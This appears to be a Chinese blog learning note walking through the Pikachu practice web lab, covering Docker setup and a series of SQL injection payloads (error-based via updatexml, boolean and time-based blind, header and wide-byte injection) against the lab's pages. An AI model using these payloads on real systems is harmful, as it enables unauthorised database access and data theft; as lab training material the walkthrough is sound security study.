pikachu靶场学习

Posted Jach1n

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pikachu靶场学习相关的知识,希望对你有一定的参考价值。

pikachu靶场

环境

虚拟机192.168.48.130
docker+centos8

安装

这里把启动指令写成脚本文件了,方便启动
启动完成后,访问http://your-ip:port,点击初始化安装后按照提示操作即可

docker search pikachu
docker pull area39/pikachu
docker images
vi pikachu.sh
    docker run -dt --name pikachu -p 80:80 --rm area39/pikachu
chmod +x pikachu.sh
./pikachu
docker ps
-----------------------------------------------------------------
docker进入镜像
docker ps  查看containerid
docker exec -it containerid /bin/bash
mysql -u root -p  数据库密码为空密码

SQL-Inject

数字型注入(post)

这里直接用的火狐拦截重发,稍微方便些
打开控制台-网络,上面查询id,找到post请求的这个包,右键编辑重发
可以看到下面的请求主体,直接修改里面的参数就可以了

?id=1 or 1=1
?id=1 or 1

select * from 表 where id=\'1 or 1=1\' 
select * from 表 where id=\'1 or 1\'
1 or 1为查找全部

发送后自动跳到修改后的请求,双击可以打开该请求的页面

字符型注入(get)

这个直接在输入框里测试就好了

\' or 1=1#

selec * from username where uid= \' \' or 1=1# \' and email=xxx.com
#号把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部

搜索型注入

这个跟上面用的一样

\' or 1=1#

selec * from username where uid= \' \' or 1=1# \' and email=xxx.com
#把后面的内容闭合了,与上面一样 or 1=1,1=1为真,查找全部

XX型注入

试了下刚才的发现不行,输了下单引号,发现报错信息里有个括号

构造语句如下

1\') or 1=1#
1\') or 1#

select * from 表 where uid=(\'    \') and email=xxx.com
select * from 表 where uid=(\'1\')or 1=1#\') and email=xxx.com
select * from 表 where uid=1 or 1

"insert/update"注入

insert注入点击注册在用户名处插入语句
用户名处输入1’触发报错

1\' or updatexml(1,concat(0x7e,database()),0) or\'
updatexml:mysql对xml文档进行查询和修改的XPATH函数
concat:连接字符串函数
0x7e:assic码中的\' ~ \'

insert into 表名(name,passwd,sex,phone,address)value(xxx,xxx,xxx,xxx,xxx)
insert into 表名(name,passwd,sex,phone,address)value(\'1\' or updatexml(1,concat(0x7e,database()),0) or\'\',xxx,xxx,xxx,xxx)

update注入在修改个人信息处插入语句

1\' or updatexml(1,concat(0x7e,database()),0) or\'

update 表名 set sex = \'xxx \',phone=\'xxx\',address=\'xxx\',email=\'xxx\' where name = \' \'
update 表名 set sex = \'1\' or updatexml(1,concat(0x7e,database()),0) or\'\',phone=\'xxx\',address=\'xxx\',email=\'xxx\' where name = \'用户名 \'

"delete"注入

先提交一条留言,然后在点删除的时候抓包,在?id=xx后加上构造的语句

or updatexml(1,concat(0x7e,database()),0)

delete from 表名 where id=57
delete from 表名 where id=57 or updatexml(1,concat(0x7e,database()),0)

"http header"注入

抓包后在user-agent处插入语句

1\' or updatexml(1,concat(0x7e,database()),0) or\'

盲注(base on boolian)

语句后面的 \'=112\' 其实就是数据库名称的第一个字符的asc码,112对应p

allen\' and ascii(substr(database(),1,1))=112#

盲注(base on time)

先测试下看下响应时间判断是否存在注入点

allen\' and sleep(3)#

通过延迟来判断数据库的字符
判断第一个字符为p

allen\' and if((substr(database(),1,1))=\'p\',sleep(3),null)#

也可以通过更改database后的数字来判断数据库不同位置的字符

allen\' and if((substr(database(),2,1))=\'i\',sleep(3),null)#

宽字节注入

先输入用户名查询下,在查询的时候抓包
单引号会被转义为\\\' url编码为%5c
%df%5c组合为繁体字運,可以使单引号完成闭合
将请求中的name的值替换成构造的语句即可

%df\' or 1=1#

\'%df%5c%27 or 1=1#\'
\'運\' or 1=1#\'

以上是关于pikachu靶场学习的主要内容,如果未能解决你的问题,请参考以下文章

pikachu靶场学习

pikachu靶场学习

pikachu靶场学习

pikachu靶场学习

pikachu靶场学习

Web安全 Pikachu(皮卡丘)靶场搭建.